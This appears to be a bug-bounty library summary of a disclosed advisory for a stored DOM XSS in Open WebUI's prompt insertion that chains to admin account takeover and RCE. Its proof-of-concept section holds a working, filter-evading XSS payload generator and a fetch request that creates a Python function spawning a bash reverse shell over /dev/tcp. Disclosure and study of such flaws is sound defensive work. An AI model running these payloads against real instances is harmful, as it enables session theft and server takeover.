# Open WebUI vulnerable to Stored DOM XSS via prompts when 'Insert Prompt as Rich Text' is enabled resulting in ATO/RCE

Stored DOM XSS in Open WebUI prompt insertion via innerHTML; a malicious prompt steals sessions and can chain to RCE on admins.

- Payout: Research
- Severity: high
- Program: Open WebUI
- Found by: gg0h
- Disclosed: 2025-11-07
- CVE: CVE-2025-64495
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-w7xj-8fx7-wfch
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-w7xj-8fx7-wfch
- Tags: area:web domain:web impact:ato impact:rce kind:research platform:ghsa sev:high tech:nodejs technique:source-review vuln:rce vuln:xss

**Target:** RichTextInput.svelte prompt insertion (Svelte frontend)
**Root cause:** Prompt body passed through marked.parse then assigned to tempDiv.innerHTML without sanitisation when 'Insert Prompt as Rich Text' is enabled.
**Steps:**
1. Create a custom prompt whose body contains an HTML/JS payload (e.g. `<img src=x onerror=...>`).
2. Enable 'Insert Prompt as Rich Text' in settings/preferences.
3. In a chat window run the `/poc` slash command to insert the prompt.
4. Payload executes in the victim's browser; alert fires confirming XSS.
**How found:** Code review of RichTextInput.svelte line 348: user-controlled prompt text flows through marked.parse into tempDiv.innerHTML with no DOMPurify; noted marked.parse's quote neutralisation and bypassed it with String.fromCodePoint.
**Exploitation:** Attacker with prompt-creation permission plants a payload; victim running the `/` command with rich-text insertion enabled executes it. JS reads session token from localStorage and exfiltrates it. For RCE, payload POSTs to `/api/v1/functions/create` with `credentials: include` and Python content `import os;os.system(...)` to run a reverse shell as admin. Quotes are neutralised by marked.parse, so strings are built via `String.fromCodePoint` decimal concatenation inside `eval`.
**Escalation:** XSS -> admin session abuse -> create malicious Python Function -> OS command execution / reverse shell on backend server.
**Insight:** When a markdown parser is used as a pseudo-sanitizer, check whether its output still reaches an innerHTML sink; quote-stripping can be bypassed by constructing strings from char codes via String.fromCodePoint + eval.

## Proof of concept (copied exactly from the original report)

**Vulnerable innerHTML sink in replaceCommandWithText**

```
export const replaceCommandWithText = async (text) => {
		const { state, dispatch } = editor.view;
		const { selection } = state;
		const pos = selection.from;

		// Get the plain text of this document
		// const docText = state.doc.textBetween(0, state.doc.content.size, '\n', '\n');

		// Find the word boundaries at cursor
		const { start, end } = getWordBoundsAtPos(state.doc, pos);

		let tr = state.tr;

		if (insertPromptAsRichText) {
			const htmlContent = marked
				.parse(text, {
					breaks: true,
					gfm: true
				})
				.trim();

			// Create a temporary div to parse HTML
			const tempDiv = document.createElement('div');
			tempDiv.innerHTML = htmlContent;
```

**Python script generating XSS payload bypassing marked**

```
payload2 = """
fetch("https://<HOST>/api/v1/functions/create", {
  method: "POST",
  credentials: "include",
  headers: {
    "Content-Type": "application/json",
    "Accept": "application/json"
  },
  body: JSON.stringify({
    id: "pentest_cmd_test",
    name: "pentest cmd test",
    meta: { description: "pentest cmd test" },
    content: "import os;os.system('bash -c \\\\'/bin/bash -i >& /dev/tcp/x.x.x.x/443 0>&1\\\\'')"
  })
})
""".lstrip().rstrip()

out = ""

for c in payload2:
    out += f"String.fromCodePoint({ord(c)})+"

print(f"<img src=x onerror=eval({out[:-1]})>")
```

**Fetch request creating malicious Python function**

```
fetch("https://<HOST>/api/v1/functions/create", {
  method: "POST",
  credentials: "include",
  headers: {
    "Content-Type": "application/json",
    "Accept": "application/json"
  },
  body: JSON.stringify({
    id: "pentest_cmd_test",
    name: "pentest cmd test",
    meta: { description: "pentest cmd test" },
    content: "import os;os.system('echo RCE')"
  })
})
```

